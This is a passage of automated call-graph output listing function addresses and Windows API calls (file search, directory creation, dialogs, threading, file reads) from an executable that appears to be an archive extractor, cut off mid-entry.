14377->14378 14379 408093 14378->14379 14380 4080ef 14379->14380 14382 4080de 14379->14382 14384 401db8 30 API calls 14379->14384 14397 403998 14379->14397 14381 403a9c ctype 29 API calls 14380->14381 14383 407f5b 14381->14383 14382->14380 14385 403998 30 API calls 14382->14385 14383->14344 14384->14379 14385->14380 14388 4081f1 __EH_prolog 14387->14388 14389 403a76 30 API calls 14388->14389 14390 4081fd 14389->14390 14391 408227 14390->14391 14392 401ce1 30 API calls 14390->14392 14394 4039df 30 API calls 14391->14394 14393 408217 14392->14393 14395 401ce1 30 API calls 14393->14395 14396 408238 14394->14396 14395->14391 14396->14356 14398 4039a2 __EH_prolog 14397->14398 14399 403a76 30 API calls 14398->14399 14400 4039ad 14399->14400 14401 4039c4 14400->14401 14402 401ce1 30 API calls 14400->14402 14405 4039df 14401->14405 14402->14401 14404 4039d0 14404->14379 14408 4042ff 14405->14408 14409 4039e7 14408->14409 14410 404307 14408->14410 14409->14404 14412 404327 14410->14412 14413 4043cb 14412->14413 14414 40433b 14412->14414 14413->14409 14415 404358 14414->14415 14424 413d3d RaiseException 14414->14424 14417 40437f 14415->14417 14425 413d3d RaiseException 14415->14425 14419 403a76 30 API calls 14417->14419 14423 4043a7 14417->14423 14421 40438b 14419->14421 14420 403a9c ctype 29 API calls 14420->14413 14421->14423 14426 413d3d RaiseException 14421->14426 14423->14420 14424->14415 14425->14417 14426->14423 14428 408299 __EH_prolog 14427->14428 14429 401ce1 30 API calls 14428->14429 14430 4082c0 14429->14430 14433 4082e8 14430->14433 14434 4082f2 __EH_prolog 14433->14434 14435 4042d6 ctype 34 API calls 14434->14435 14436 408319 14435->14436 14439 408334 14436->14439 14440 404327 30 API calls 14439->14440 14441 40834c 14440->14441 14442 4082d0 14441->14442 14443 4081e7 30 API calls 14441->14443 14442->14362 14443->14441 14445 403380 __EH_prolog 14444->14445 14446 402170 30 API calls 14445->14446 14447 40339c 14446->14447 14448 402170 30 API calls 14447->14448 14449 4033b1 14448->14449 14450 402170 30 API calls 14449->14450 14451 402f3e 14450->14451 14451->13948 14453 40311d __EH_prolog 14452->14453 14548 402ee1 14453->14548 14458 403141 14459 401d1b 30 API calls 14458->14459 14460 40314f 14459->14460 14462 403a9c ctype 29 API calls 14460->14462 14461 403158 14557 408f0a 14461->14557 14495 4031c1 14462->14495 14464 403198 14465 4042ad ctype 34 API calls 14464->14465 14466 4031a6 14465->14466 14467 4031c6 14466->14467 14468 4031ab 14466->14468 14469 401ce1 30 API calls 14467->14469 14470 401d1b 30 API calls 14468->14470 14471 4031d2 14469->14471 14470->14460 14472 405d0b 30 API calls 14471->14472 14473 4031de 14472->14473 14617 4049dd 14473->14617 14476 40322a 14478 401c80 30 API calls 14476->14478 14477 4031ea 14744 409569 14477->14744 14480 403237 14478->14480 14652 402685 14480->14652 14486 403a9c ctype 29 API calls 14488 403269 14486->14488 14659 40bbc9 14488->14659 14708 40c231 14488->14708 14495->13960 14501 403494 __EH_prolog 14500->14501 14502 403a9c ctype 29 API calls 14501->14502 14503 4034aa 14502->14503 16148 40341c 14503->16148 14506 403a9c ctype 29 API calls 14507 4034cc 14506->14507 14508 403a9c ctype 29 API calls 14507->14508 14509 401581 14508->14509 14509->13495 14509->13496 14511 4034ed __EH_prolog 14510->14511 14512 402170 30 API calls 14511->14512 14513 40351f 14512->14513 14514 402170 30 API calls 14513->14514 14515 403535 14514->14515 14516 402170 30 API calls 14515->14516 14517 40354b 14516->14517 14518 402170 30 API calls 14517->14518 14519 403564 14518->14519 16158 4035a6 14519->16158 14522 402170 30 API calls 14523 403589 14522->14523 14523->13955 16177 4148be 14524->16177 14527 413243 14527->13961 14528 413248 GetLastError 14529 413252 14528->14529 14529->13961 14531 4131e9 CloseHandle 14530->14531 14533 402fd0 14530->14533 14532 4131f4 GetLastError 14531->14532 14531->14533 14532->14533 14533->13969 14535 4030a7 __EH_prolog 14534->14535 14536 401d7a 30 API calls 14535->14536 14537 4030bc 14536->14537 16249 40620b 14537->16249 14541 4030d4 14542 40602f 33 API calls 14541->14542 14543 4030df 14542->14543 16269 406049 14543->16269 14546 403a9c ctype 29 API calls 14547 4030f5 ShowWindow 14546->14547 14547->13981 14549 402170 30 API calls 14548->14549 14550 402ef5 14549->14550 14551 405841 14550->14551 14552 40584b __EH_prolog 14551->14552 14752 4055de 14552->14752 14555 40551a FindClose 14556 40313d 14555->14556 14556->14458 14556->14461 14558 408f14 __EH_prolog 14557->14558 14559 403a76 30 API calls 14558->14559 14560 408f31 14559->14560 14561 408f43 14560->14561 14874 409184 14560->14874 14563 402170 30 API calls 14561->14563 14564 408f7a 14563->14564 14565 402170 30 API calls 14564->14565 14566 408f91 14565->14566 14567 402170 30 API calls 14566->14567 14568 408fa8 14567->14568 14569 40906f 14568->14569 14793 404e76 14568->14793 14848 408a3b 14569->14848 14574 408fd3 GetLastError 14578 403a9c ctype 29 API calls 14574->14578 14575 40900e 14579 401e3a 30 API calls 14575->14579 14576 4090a1 14581 403a9c ctype 29 API calls 14576->14581 14577 4090d5 14583 402634 30 API calls 14577->14583 14582 408fe3 14578->14582 14580 40901d 14579->14580 14584 401d7a 30 API calls 14580->14584 14585 4090a9 14581->14585 14586 403a9c ctype 29 API calls 14582->14586 14587 4090e4 14583->14587 14588 40902a 14584->14588 14589 403a9c ctype 29 API calls 14585->14589 14590 408feb 14586->14590 14591 403998 30 API calls 14587->14591 14593 403a9c ctype 29 API calls 14588->14593 14594 4090b1 14589->14594 14595 403a9c ctype 29 API calls 14590->14595 14592 4090f3 14591->14592 14596 403a9c ctype 29 API calls 14592->14596 14597 409036 14593->14597 14598 403a9c ctype 29 API calls 14594->14598 14600 408ff3 14595->14600 14606 4090ff 14596->14606 14599 401e19 30 API calls 14597->14599 14598->14600 14602 409046 14599->14602 14600->14464 14601 409135 14605 403a9c ctype 29 API calls 14601->14605 14604 401d7a 30 API calls 14602->14604 14603 402634 30 API calls 14603->14606 14607 409053 14604->14607 14608 409152 14605->14608 14606->14601 14606->14603 14609 403998 30 API calls 14606->14609 14614 403a9c ctype 29 API calls 14606->14614 14610 403a9c ctype 29 API calls 14607->14610 14611 403a9c ctype 29 API calls 14608->14611 14609->14606 14612 40905f 14610->14612 14613 40915a 14611->14613 14834 4092e9 14612->14834 14616 403a9c ctype 29 API calls 14613->14616 14614->14606 14616->14600 14618 4049e7 __EH_prolog 14617->14618 14619 401c80 30 API calls 14618->14619 14624 4049f6 14619->14624 14620 401ce1 30 API calls 14622 404a56 14620->14622 14623 404a6d GetLastError 14622->14623 14627 404bb2 14622->14627 14642 401e3a 30 API calls 14622->14642 14643 404b41 14622->14643 14647 401d7a 30 API calls 14622->14647 14651 403a9c ctype 29 API calls 14622->14651 15447 40499c 14622->15447 14623->14622 14625 404aea 14623->14625 14624->14620 14634 404a38 14624->14634 14628 402ee1 30 API calls 14625->14628 14626 401d7a 30 API calls 14648 404b4e 14626->14648 14631 403a9c ctype 29 API calls 14627->14631 14630 404af2 14628->14630 14629 403a9c ctype 29 API calls 14632 4031e6 14629->14632 14633 405841 37 API calls 14630->14633 14631->14634 14632->14476 14632->14477 14635 404b01 14633->14635 14634->14629 14636 404b05 14635->14636 14637 404b35 14635->14637 14638 403a9c ctype 29 API calls 14636->14638 14640 403a9c ctype 29 API calls 14637->14640 14641 404b1d 14638->14641 14639 401e3a 30 API calls 14639->14648 14640->14643 14644 403a9c ctype 29 API calls 14641->14644 14642->14622 14643->14626 14646 404b25 14644->14646 14645 40499c 34 API calls 14645->14648 14649 403a9c ctype 29 API calls 14646->14649 14647->14622 14648->14627 14648->14639 14648->14645 14650 403a9c ctype 29 API calls 14648->14650 14649->14632 14650->14648 14651->14622 14653 401d7a 30 API calls 14652->14653 14654 4026ac 14653->14654 14655 401d7a 30 API calls 14654->14655 14656 4026d8 14655->14656 14657 405d0b 30 API calls 14656->14657 14658 4026df 14657->14658 14658->14486 14671 40bbd3 __EH_prolog 14659->14671 14660 40bd4e 14667 40c46d 35 API calls 14667->14671 14669 4042ad 34 API calls ctype 14669->14671 14671->14660 14671->14667 14671->14669 14685 40bc23 14671->14685 15577 40c30e 14671->15577 15583 40c281 14671->15583 15587 40c413 14671->15587 14709 40bdf7 14708->14709 14722 40be5b 14709->14722 14723 40c73a 64 API calls 14709->14723 14724 40bf45 14709->14724 14727 40ad19 83 API calls 14709->14727 14731 40ca4c 64 API calls 14709->14731 14732 40c0f3 14709->14732 14733 40c059 14709->14733 14734 40c0b5 14709->14734 14723->14709 14727->14709 14731->14709 14745 409573 __EH_prolog 14744->14745 14746 40602f 33 API calls 14745->14746 14747 409585 14746->14747 16134 4094f6 14747->16134 14753 4055e8 __EH_prolog 14752->14753 14754 40551a FindClose 14753->14754 14755 4055f6 14754->14755 14756 405607 FindFirstFileW 14755->14756 14757 40562e 14755->14757 14762 40562c 14755->14762 14758 40561e 14756->14758 14756->14762 14759 401c80 30 API calls 14757->14759 14770 4056a6 14758->14770 14761 405639 AreFileApisANSI 14759->14761 14763 403d04 31 API calls 14761->14763 14762->14555 14764 405654 FindFirstFileA 14763->14764 14765 403a9c ctype 29 API calls 14764->14765 14766 40566e 14765->14766 14767 403a9c ctype 29 API calls 14766->14767 14768 40567a 14767->14768 14768->14762 14774 405705 14768->14774 14771 4056e4 14770->14771 14772 401d1b 30 API calls 14771->14772 14773 405701 14772->14773 14773->14762 14775 40570f __EH_prolog 14774->14775 14786 4052b2 14775->14786 14780 401d7a 30 API calls 14781 405794 14780->14781 14782 403a9c ctype 29 API calls 14781->14782 14783 40579c 14782->14783 14784 403a9c ctype 29 API calls 14783->14784 14785 4057a4 14784->14785 14785->14762 14787 4052c9 14786->14787 14788 40243e 30 API calls 14787->14788 14789 4052d8 AreFileApisANSI 14788->14789 14790 4057b5 14789->14790 14791 403b9c 31 API calls 14790->14791 14792 405787 14791->14792 14792->14780 14794 404e80 __EH_prolog 14793->14794 14795 404ea2 14794->14795 14796 404f2d 14794->14796 14798 404eb7 GetFullPathNameW 14795->14798 14800 402170 30 API calls 14795->14800 14797 40243e 30 API calls 14796->14797 14799 404f40 14797->14799 14803 404ed8 14798->14803 14882 4048ff 14799->14882 14800->14798 14803->14574 14803->14575 14806 403a9c ctype 29 API calls 14807 404f76 14806->14807 14808 404f8b 14807->14808 14809 404f7b 14807->14809 14897 405352 14808->14897 14810 403a9c ctype 29 API calls 14809->14810 14810->14803 14815 403a9c ctype 29 API calls 14816 404fb3 14815->14816 14903 405331 14816->14903 14819 404818 32 API calls 14820 404fd0 14819->14820 14821 403a9c ctype 29 API calls 14820->14821 14822 404fdc 14821->14822 14823 402634 30 API calls 14822->14823 14824 404ff1 14823->14824 14825 401d7a 30 API calls 14824->14825 14835 4092f3 __EH_prolog 14834->14835 14836 401d7a 30 API calls 14835->14836 14837 409308 14836->14837 14838 402634 30 API calls 14837->14838 14839 409315 14838->14839 14840 405841 37 API calls 14839->14840 14841 409324 14840->14841 14842 403a9c ctype 29 API calls 14841->14842 14843 409338 14842->14843 14844 409352 14843->14844 14919 413d3d RaiseException 14843->14919 14846 4042d6 ctype 34 API calls 14844->14846 14847 40935a 14846->14847 14847->14569 14861 408a45 __EH_prolog 14848->14861 14849 408ea0 30 API calls 14849->14861 14850 408cfb 14853 405e34 VariantClear 14850->14853 14851 401d7a 30 API calls 14851->14861 14852 408e75 14855 405e34 VariantClear 14852->14855 14860 408a61 14853->14860 14855->14860 14856 408ce8 15030 4038c2 14856->15030 14858 4093f0 30 API calls 14858->14861 14860->14576 14860->14577 14861->14849 14861->14850 14861->14851 14861->14852 14861->14856 14861->14858 14861->14860 14863 408d0e 14861->14863 14866 408d55 14861->14866 14867 408dae 14861->14867 14871 408e06 14861->14871 14873 4038c2 29 API calls 14861->14873 14920 408902 14861->14920 14933 405e34 14861->14933 14937 40836d 14861->14937 14962 408524 14861->14962 15026 40848c 14861->15026 14864 4038c2 29 API calls 14863->14864 14864->14860 14869 4038c2 29 API calls 14866->14869 14870 4038c2 29 API calls 14867->14870 14869->14860 14870->14860 14872 4038c2 29 API calls 14871->14872 14872->14860 14873->14861 14875 40918e __EH_prolog 14874->14875 14876 402170 30 API calls 14875->14876 14877 4091c1 14876->14877 15444 40590e 14877->15444 14880 402170 30 API calls 14881 4091e2 14880->14881 14881->14561 14883 404909 __EH_prolog 14882->14883 14884 401c80 30 API calls 14883->14884 14885 40491c AreFileApisANSI 14884->14885 14886 403d04 31 API calls 14885->14886 14887 404936 14886->14887 14888 403a9c ctype 29 API calls 14887->14888 14889 40493e 14888->14889 14890 404df9 14889->14890 14891 404e26 GetFullPathNameA 14890->14891 14892 404e1e 14890->14892 14894 404e45 14891->14894 14893 40243e 30 API calls 14892->14893 14893->14891 14895 404e50 14894->14895 14896 404e5b lstrlenA 14894->14896 14895->14806 14896->14895 14906 40536e 14897->14906 14900 404818 AreFileApisANSI 14901 403b9c 31 API calls 14900->14901 14902 404839 14901->14902 14902->14815 14904 40536e 30 API calls 14903->14904 14905 404fc2 14904->14905 14905->14819 14908 405378 __EH_prolog 14906->14908 14907 4053ac 14910 40243e 30 API calls 14907->14910 14908->14907 14909 4053a1 14908->14909 14911 403d24 30 API calls 14909->14911 14912 4053bf 14910->14912 14913 404f99 14911->14913 14914 40243e 30 API calls 14912->14914 14913->14900 14915 4053cc 14914->14915 14916 403d24 30 API calls 14915->14916 14917 4053fa 14916->14917 14918 403a9c ctype 29 API calls 14917->14918 14918->14913 14919->14844 14921 40890c __EH_prolog 14920->14921 14922 408927 14921->14922 14923 40894b 14921->14923 14924 403a76 30 API calls 14922->14924 14926 403a76 30 API calls 14923->14926 14932 40892e 14923->14932 14924->14932 14925 408524 88 API calls 14927 4089b8 14925->14927 14928 408957 14926->14928 14927->14861 15037 406434 14928->15037 14931 408994 GetLastError 14931->14927 14932->14925 14934 405e39 14933->14934 14935 405e5a VariantClear 14934->14935 14936 405e71 14934->14936 14935->14861 14936->14861 14938 408377 __EH_prolog 14937->14938 14939 4083a3 14938->14939 14940 4083b6 14938->14940 14941 405e34 VariantClear 14939->14941 14942 4083cc 14940->14942 14943 4083bd 14940->14943 14946 4083af 14941->14946 14944 4083ca 14942->14944 14945 40846a 14942->14945 14947 401d1b 30 API calls 14943->14947 14949 405e34 VariantClear 14944->14949 14948 405e34 VariantClear 14945->14948 14946->14861 14947->14944 14948->14946 14950 4083ed 14949->14950 14950->14946 14951 401d7a 30 API calls 14950->14951 14952 4083fd 14951->14952 14953 408421 14952->14953 14954 40842c 14952->14954 14955 40844f 14952->14955 14957 405e34 VariantClear 14953->14957 14958 401db8 30 API calls 14954->14958 14955->14953 14956 40843f 14955->14956 14959 405e34 VariantClear 14956->14959 14957->14946 14960 408435 14958->14960 14959->14946 15040 407d25 14960->15040 14964 40852e __EH_prolog 14962->14964 15048 40455d 14964->15048 14966 402170 30 API calls 14968 408570 14966->14968 14967 4085c4 14969 4085df 14967->14969 14981 4085ef 14967->14981 14968->14967 14973 401e19 30 API calls 14968->14973 14970 4039df 30 API calls 14969->14970 14988 4085ea 14970->14988 14971 40863c 14971->14988 15017 408648 14971->15017 15091 4042eb 14971->15091 14974 4085ab 14973->14974 14975 401d7a 30 API calls 14974->14975 14978 4085b8 14975->14978 14982 403a9c ctype 29 API calls 14978->14982 14979 4039df 30 API calls 14979->14981 14980 4042ad ctype 34 API calls 14983 408742 14980->14983 14981->14971 14981->14979 15084 4088ce 14981->15084 15088 404407 14981->15088 14982->14967 14984 403a9c ctype 29 API calls 14983->14984 14985 40874a 14984->14985 14986 403a9c ctype 29 API calls 14985->14986 14987 408752 14986->14987 14987->14861 14989 40876b 14988->14989 14993 4087a1 14988->14993 14988->15017 15052 4065b2 14988->15052 15058 40df69 14988->15058 15064 40d1ab 14988->15064 14990 4042ad ctype 34 API calls 14989->14990 14991 408788 14990->14991 14992 403a9c ctype 29 API calls 14991->14992 14995 408790 14992->14995 14994 4087f8 14993->14994 14998 401d1b 30 API calls 14993->14998 14993->15017 14996 405e34 VariantClear 14994->14996 14997 403a9c ctype 29 API calls 14995->14997 14999 408804 14996->14999 14997->14987 14998->14994 15000 408879 14999->15000 15001 40881d 14999->15001 15002 4088ce 5 API calls 15000->15002 15003 401c80 30 API calls 15001->15003 15004 408884 15002->15004 15005 40882b 15003->15005 15007 407d82 35 API calls 15004->15007 15006 401c80 30 API calls 15005->15006 15008 408838 15006->15008 15009 4088a0 15007->15009 15095 407d82 15008->15095 15011 401d7a 30 API calls 15009->15011 15013 4088ad 15011->15013 15015 403a9c ctype 29 API calls 15013->15015 15014 401d7a 30 API calls 15016 40885c 15014->15016 15015->15017 15017->14980 15027 408496 __EH_prolog 15026->15027 15028 405e34 VariantClear 15027->15028 15029 408511 15028->15029 15029->14861 15031 403a9c ctype 29 API calls 15030->15031 15032 4038cd 15031->15032 15033 403a9c ctype 29 API calls 15032->15033 15034 4038d5 15033->15034 15035 403a9c ctype 29 API calls 15034->15035 15036 4038dd 15035->15036 15036->14860 15038 405b6d 35 API calls 15037->15038 15039 406440 15038->15039 15039->14931 15039->14932 15041 407d3a 15040->15041 15044 4021c4 15041->15044 15045 402208 15044->15045 15046 4021d8 15044->15046 15045->14956 15047 402170 30 API calls 15046->15047 15047->15045 15049 40456d 15048->15049 15050 401e19 30 API calls 15049->15050 15051 404592 15050->15051 15051->14966 15053 4065c2 15052->15053 15054 4065bb 15052->15054 15105 405ace SetFilePointer 15053->15105 15054->14988 15059 40df7a 15058->15059 15063 4065b2 3 API calls 15059->15063 15060 40df8e 15061 40df9e 15060->15061 15112 40dd8b 15060->15112 15061->14988 15063->15060 15065 40d1b5 __EH_prolog 15064->15065 15066 40df69 34 API calls 15065->15066 15067 40d208 15066->15067 15068 40d20e 15067->15068 15069 40d22f 15067->15069 15146 40d2cf 15068->15146 15142 40f8c3 15069->15142 15083 40d21a 15083->14988 15085 4088f6 15084->15085 15086 4088d9 15084->15086 15085->14981 15086->15085 15087 403b4f ctype 5 API calls 15086->15087 15087->15086 15089 4042ff 30 API calls 15088->15089 15090 40440f 15089->15090 15090->14981 15093 403a9c 29 API calls 15091->15093 15375 40ba4f 15091->15375 15092 4042fc 15092->14988 15093->15092 15096 407d8c __EH_prolog 15095->15096 15409 407dd5 15096->15409 15099 40235e 30 API calls 15100 407db0 15099->15100 15101 401ce1 30 API calls 15100->15101 15102 407dbb 15101->15102 15103 403a9c ctype 29 API calls 15102->15103 15104 407dc3 15103->15104 15104->15014 15106 405b01 15105->15106 15107 405af7 GetLastError 15105->15107 15108 406534 15106->15108 15107->15106 15109 406538 15108->15109 15110 40653b GetLastError 15108->15110 15109->15054 15111 406545 15110->15111 15111->15054 15113 40dd95 __EH_prolog 15112->15113 15124 40776f 15113->15124 15115 40ddc1 15115->15061 15116 40ddae 15116->15115 15127 4076d5 15116->15127 15118 40decb 15119 403a9c ctype 29 API calls 15118->15119 15119->15115 15120 40dde7 ctype 15120->15118 15121 40ded0 15120->15121 15133 406505 15120->15133 15122 4065b2 3 API calls 15121->15122 15122->15118 15138 407723 15124->15138 15128 4076e2 15127->15128 15129 407716 15127->15129 15130 4076ed ctype 15128->15130 15131 403a76 30 API calls 15128->15131 15129->15120 15132 403a9c ctype 29 API calls 15130->15132 15131->15130 15132->15129 15134 405ba8 ReadFile 15133->15134 15135 40651d 15134->15135 15136 406534 GetLastError 15135->15136 15137 406530 15136->15137 15137->15120 15139 407737 15138->15139 15140 407766 15139->15140 15141 406505 ReadFile GetLastError 15139->15141 15140->15116 15141->15139 15143 40f8cd __EH_prolog 15142->15143 15178 40f648 15143->15178 15147 40d2d9 __EH_prolog 15146->15147 15148 4042d6 ctype 34 API calls 15147->15148 15149 40d2fd 15148->15149 15150 4042ad ctype 34 API calls 15149->15150 15151 40d308 15150->15151 15151->15083 15179 40f652 __EH_prolog 15178->15179 15218 40d377 15179->15218 15183 40f694 15184 40db47 RaiseException 15183->15184 15185 40f6c9 15183->15185 15184->15185 15192 40d23b 15185->15192 15217 4065b2 3 API calls 15185->15217 15186 40f720 15186->15192 15217->15186 15219 40d3d2 34 API calls 15218->15219 15220 40d37f 15219->15220 15221 4042d6 ctype 34 API calls 15220->15221 15222 40d38a 15221->15222 15223 4042d6 ctype 34 API calls 15222->15223 15224 40d395 15223->15224 15225 4042d6 ctype 34 API calls 15224->15225 15226 40d3a0 15225->15226 15227 4042d6 ctype 34 API calls 15226->15227 15228 40d3ab 15227->15228 15229 4042d6 ctype 34 API calls 15228->15229 15230 40d3b6 15229->15230 15230->15183 15282 40db47 15230->15282 15283 413d3d RaiseException 15282->15283 15284 40db5f 15283->15284 15285 40db6f 15284->15285 15286 40db47 RaiseException 15284->15286 15285->15183 15286->15285 15376 40ba66 15375->15376 15377 40ba9e 15376->15377 15379 403a9c ctype 29 API calls 15376->15379 15380 40a011 15376->15380 15377->15092 15379->15376 15381 40a01b __EH_prolog 15380->15381 15382 4042ad ctype 34 API calls 15381->15382 15383 40a036 15382->15383 15384 4042ad ctype 34 API calls 15383->15384 15385 40a045 15384->15385 15386 4042d6 ctype 34 API calls 15385->15386 15387 40a05f 15386->15387 15388 4042ad ctype 34 API calls 15387->15388 15389 40a06a 15388->15389 15390 4042d6 ctype 34 API calls 15389->15390 15391 40a081 15390->15391 15392 4042ad ctype 34 API calls 15391->15392 15393 40a08c 15392->15393 15398 407868 15393->15398 15399 407880 15398->15399 15400 407887 15398->15400 15401 413260 SetEvent GetLastError 15399->15401 15402 407891 15400->15402 15403 407896 15400->15403 15401->15400 15404 413210 WaitForSingleObject 15402->15404 15405 4131e0 ctype CloseHandle GetLastError 15403->15405 15404->15403 15406 40789d 15405->15406 15407 4131e0 ctype CloseHandle GetLastError 15406->15407 15408 4078a5 15407->15408 15410 407ddf __EH_prolog 15409->15410 15412 401e19 30 API calls 15410->15412 15416 407e63 15410->15416 15411 407eb5 15413 407ebe 15411->15413 15414 407ecf 15411->15414 15418 407e1b 15412->15418 15434 407cd4 15413->15434 15417 402634 30 API calls 15414->15417 15416->15411 15420 407e8e 15416->15420 15433 407da4 15417->15433 15419 403b4f ctype 5 API calls 15418->15419 15421 407e28 15419->15421 15422 401e3a 30 API calls 15420->15422 15423 403a9c ctype 29 API calls 15421->15423 15424 407e9a 15422->15424 15425 407e39 15423->15425 15426 402634 30 API calls 15424->15426 15425->15416 15427 407e3e 15425->15427 15428 407e5e 15426->15428 15429 401e3a 30 API calls 15427->15429 15431 403a9c ctype 29 API calls 15428->15431 15430 407e4a 15429->15430 15432 402634 30 API calls 15430->15432 15431->15433 15432->15428 15433->15099 15435 407cde __EH_prolog 15434->15435 15436 401ce1 30 API calls 15435->15436 15437 407cf1 15436->15437 15438 407d25 30 API calls 15437->15438 15439 407d00 15438->15439 15440 401ce1 30 API calls 15439->15440 15441 407d0b 15440->15441 15442 403a9c ctype 29 API calls 15441->15442 15443 407d13 15442->15443 15443->15433 15445 402170 30 API calls 15444->15445 15446 405925 15445->15446 15446->14880 15448 4049ab 15447->15448 15449 4049cd CreateDirectoryW 15447->15449 15450 4048ff 32 API calls 15448->15450 15449->14622 15451 4049b6 15450->15451 15456 40498d CreateDirectoryA 15451->15456 15453 4049bd 15454 403a9c ctype 29 API calls 15453->15454 15455 4049c7 15454->15455 15455->14622 15456->15453 16135 409500 __EH_prolog 16134->16135 16136 401ce1 30 API calls 16135->16136 16137 409513 16136->16137 16138 401c80 30 API calls 16137->16138 16139 409524 16138->16139 16140 401e56 30 API calls 16139->16140 16141 409537 16140->16141 16142 403a9c ctype 29 API calls 16141->16142 16143 409543 16142->16143 16149 403426 __EH_prolog 16148->16149 16150 4042d6 ctype 34 API calls 16149->16150 16151 403452 16150->16151 16152 4042ad ctype 34 API calls 16151->16152 16153 40345d 16152->16153 16154 4042d6 ctype 34 API calls 16153->16154 16155 403471 16154->16155 16156 4042ad ctype 34 API calls 16155->16156 16157 40347c 16156->16157 16157->14506 16159 4035b0 __EH_prolog 16158->16159 16160 402170 30 API calls 16159->16160 16161 4035dd 16160->16161 16168 403664 16161->16168 16165 403614 16166 403570 16165->16166 16175 413d3d RaiseException 16165->16175 16166->14522 16176 413310 InitializeCriticalSection 16168->16176 16170 4035f1 16171 4132a0 CreateEventA 16170->16171 16172 4132c1 GetLastError 16171->16172 16173 4132be 16171->16173 16174 4132cb 16172->16174 16173->16165 16174->16165 16175->16166 16176->16170 16178 416efc 30 API calls 16177->16178 16179 4148ce 16178->16179 16180 414911 16179->16180 16183 4148dc CreateThread 16179->16183 16181 413f9f ctype 29 API calls 16180->16181 16182 414917 16181->16182 16186 413239 16182->16186 16187 416e77 16182->16187 16184 414909 GetLastError 16183->16184 16183->16186 16207 414929 TlsGetValue 16183->16207 16184->16180 16186->14527 16186->14528 16204 416ef3 16187->16204 16190 416eb0 16192 416eea 35 API calls 16190->16192 16191 416e99 16193 416ec0 16191->16193 16195 416ea3 16191->16195 16194 416eb5 16192->16194 16196 416edd 16193->16196 16197 416ed0 16193->16197 16194->16186 16199 416eea 35 API calls 16195->16199 16198 416eea 35 API calls 16196->16198 16200 416eea 35 API calls 16197->16200 16201 416ee2 16198->16201 16202 416ea8 16199->16202 16203 416ed5 16200->16203 16201->16186 16202->16186 16203->16186 16205 415523 35 API calls 16204->16205 16206 416e7d 16205->16206 16206->16190 16206->16191 16208 414961 16207->16208 16209 414976 TlsSetValue 16207->16209 16219 41558a 16208->16219 16212 414995 GetCurrentThreadId 16209->16212 16213 41498d 16209->16213 16214 4149a6 16212->16214 16215 414c0c ctype 7 API calls 16213->16215 16241 4149ef 16214->16241 16216 414994 16215->16216 16216->16212 16220 415629 16219->16220 16221 415598 16219->16221 16220->16209 16222 4155a1 TlsGetValue 16221->16222 16223 4155ae 16221->16223 16222->16223 16224 41561a TlsSetValue 16222->16224 16225 4155bb 16223->16225 16226 413f9f ctype 29 API calls 16223->16226 16224->16220 16227 4155c9 16225->16227 16228 413f9f ctype 29 API calls 16225->16228 16226->16225 16229 4155d7 16227->16229 16230 413f9f ctype 29 API calls 16227->16230 16228->16227 16231 4155e5 16229->16231 16233 413f9f ctype 29 API calls 16229->16233 16230->16229 16232 4155f3 16231->16232 16234 413f9f ctype 29 API calls 16231->16234 16235 415601 16232->16235 16236 413f9f ctype 29 API calls 16232->16236 16233->16231 16234->16232 16237 415612 16235->16237 16238 413f9f ctype 29 API calls 16235->16238 16236->16235 16239 413f9f ctype 29 API calls 16237->16239 16238->16237 16240 415619 16239->16240 16240->16224 16242 4149f8 16241->16242 16243 415523 35 API calls 16242->16243 16244 414a00 16243->16244 16245 414a0d 16244->16245 16246 414c0c ctype 7 API calls 16244->16246 16247 41558a 31 API calls 16245->16247 16246->16245 16248 414a14 ExitThread 16247->16248 16250 406215 __EH_prolog 16249->16250 16251 406240 16250->16251 16252 406226 DialogBoxParamW 16250->16252 16253 40243e 30 API calls 16251->16253 16259 4030ca 16252->16259 16254 406253 16253->16254 16255 40629a DialogBoxParamA 16254->16255 16256 401c80 30 API calls 16254->16256 16257 403a9c ctype 29 API calls 16255->16257 16258 406269 16256->16258 16257->16259 16260 401a18 31 API calls 16258->16260 16268 413210 WaitForSingleObject 16259->16268 16261 406278 16260->16261 16262 4052f9 30 API calls 16261->16262 16263 406285 16262->16263 16264 403a9c ctype 29 API calls 16263->16264 16265 40628d 16264->16265 16266 403a9c ctype 29 API calls 16265->16266 16267 406295 16266->16267 16267->16255 16268->14541 16270 406053 __EH_prolog 16269->16270 16271 406074 16270->16271 16272 406065 SetWindowTextW 16270->16272 16273 401c80 30 API calls 16271->16273 16280 4030ed 16272->16280 16274 40607c 16273->16274 16275 403d04 31 API calls 16274->16275 16276 40608b SetWindowTextA 16275->16276 16277 403a9c ctype 29 API calls 16276->16277 16278 4060a1 16277->16278 16279 403a9c ctype 29 API calls 16278->16279 16279->16280 16280->14546 16282 4023a8 16281->16282 16284 4023c1 16282->16284 16285 402559 16282->16285 16284->14000 16286 402569 16285->16286 16287 4021c4 30 API calls 16286->16287 16288 402577 ctype 16287->16288 16288->16284 16290 403f46 __EH_prolog 16289->16290 16291 40243e 30 API calls 16290->16291 16292 403f69 16291->16292 16293 403f9a 16292->16293 16295 401ee5 30 API calls 16292->16295 16294 403d24 30 API calls 16293->16294 16296 403fa6 16294->16296 16295->16292 16297 403a9c ctype 29 API calls 16296->16297 16298 403fae 16297->16298 16298->14048 16300 4040c8 __EH_prolog 16299->16300 16301 403a76 30 API calls 16300->16301 16302 4040d4 16301->16302 16303 4040fe 16302->16303 16304 401ce1 30 API calls 16302->16304 16305 4039df 30 API calls 16303->16305 16306 4040ee 16304->16306 16307 40410f 16305->16307 16308 401ce1 30 API calls 16306->16308 16307->14048 16308->16303 16310 403a9c ctype 29 API calls 16309->16310 16311 40214a 16310->16311 16312 403a9c ctype 29 API calls 16311->16312 16313 402151 16312->16313 16313->14048 16315 405f68 __EH_prolog 16314->16315 16316 405ff8 16315->16316 16317 405f7f 16315->16317 16330 405ebc 16316->16330 16319 402170 30 API calls 16317->16319 16321 405f93 16319->16321 16324 405fb2 LoadStringW 16321->16324 16325 402170 30 API calls 16321->16325 16322 401a03 31 API calls 16323 405ff3 16322->16323 16327 403a9c ctype 29 API calls 16323->16327 16324->16321 16326 405fcb 16324->16326 16325->16324 16328 401ce1 30 API calls 16326->16328 16329 4015a2 16327->16329 16328->16323 16329->13515 16331 405ec6 __EH_prolog 16330->16331 16332 40243e 30 API calls 16331->16332 16333 405ee9 16332->16333 16334 405f08 LoadStringA 16333->16334 16335 40243e 30 API calls 16333->16335 16334->16333 16336 405f21 16334->16336 16335->16334 16337 403d24 30 API calls 16336->16337 16338 405f42 16337->16338 16339 403a9c ctype 29 API calls 16338->16339 16340 405f4a 16339->16340 16340->16322 16377 404c54 __EH_prolog 16376->16377 16378 